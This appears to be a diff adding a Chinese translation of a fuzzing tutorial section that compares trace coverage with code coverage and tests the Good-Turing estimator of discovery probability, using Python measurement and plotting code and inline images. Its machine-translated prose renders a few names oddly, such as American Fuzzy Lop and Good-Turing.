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
+)
+
+在上方，我们可以看到随着时间的推移，迹线覆盖率（左）和代码覆盖率（右）。 这是我们的观察。
+
+1.  **迹线覆盖范围更强大**。 与代码覆盖范围相比，图中的突然跳跃更少。
+2.  **迹线覆盖范围更细。** 跟踪多于末尾所覆盖的语句（y轴）
+3.  **迹线覆盖范围更稳定地增长**。 输入50k后，代码覆盖率将执行一半以上的语句，其中第一个输入将执行。 取而代之的是，由于每个输入只能产生一个执行跟踪，因此覆盖的跟踪数将缓慢而稳定地增长。
+
+出于这个原因，当今最杰出和最成功的模糊测试工具之一，美国模糊垂钓（AFL），使用了类似的*进度度量*（在输入执行的分支上计算得出的哈希值）。
+
+### 评估发现概率估计
+
+让我们找出当我们模糊地发现执行轨迹而不是三元组时，Good-Turing估计器如何作为发现概率的估计。
+
+为了测量经验概率，我们执行相同的输入总体（n = 50000）并以固定间隔（测量= 100个间隔）进行测量。 在每次测量期间，我们重复以下实验重复次数= 500次，报告平均值：如果下一个输入产生新轨迹，则返回1，否则返回0。请注意，在这些重复期间，我们不会记录观察到的新发现轨迹 。
+
+```py
+repeats = 500      # experiment repetitions
+measurements = 100  # experiment measurements
+
+```
+
+```py
+emp_timeseries = []
+all_coverage = set()
+step = int(trials / measurements)
+
+for i in range(0, trials, step):
+    if i - step >= 0:
+        for j in range(step):
+            inp = population[i - j]
+            with Coverage() as cov:
+                try:
+                    my_parser(inp)
+                except BaseException:
+                    pass
+            all_coverage |= set([getTraceHash(cov)])
+
+    discoveries = 0
+    for _ in range(repeats):
+        inp = fuzzer.fuzz()
+        with Coverage() as cov:
+            try:
+                my_parser(inp)
+            except BaseException:
+                pass
+        if getTraceHash(cov) not in all_coverage:
+            discoveries += 1
+    emp_timeseries.append(discoveries / repeats)
+
+```
+
+现在，我们计算随时间变化的“好转”估算值。
+
+```py
+gt_timeseries = []
+singleton_timeseries = population_trace_coverage(population, my_parser)[2]
+for i in range(1, trials + 1, step):
+    gt_timeseries.append(singleton_timeseries[i - 1] / i)
+
+```
+
+让我们继续绘制两个时间序列。
+
+```py
+line_emp, = plt.semilogy(emp_timeseries, label="Empirical")
+line_gt, = plt.semilogy(gt_timeseries, label="Good-Turing")
+plt.legend(handles=[line_emp, line_gt])
+plt.xticks(range(0, measurements + 1, int(measurements / 5)),
+           range(0, trials + 1, int(trials / 5)))
+plt.xlabel('# of fuzz inputs')
+plt.ylabel('discovery probability')
+plt.title('Discovery Probability Over Time');
+
+```
+
+![](data:image/png;base64,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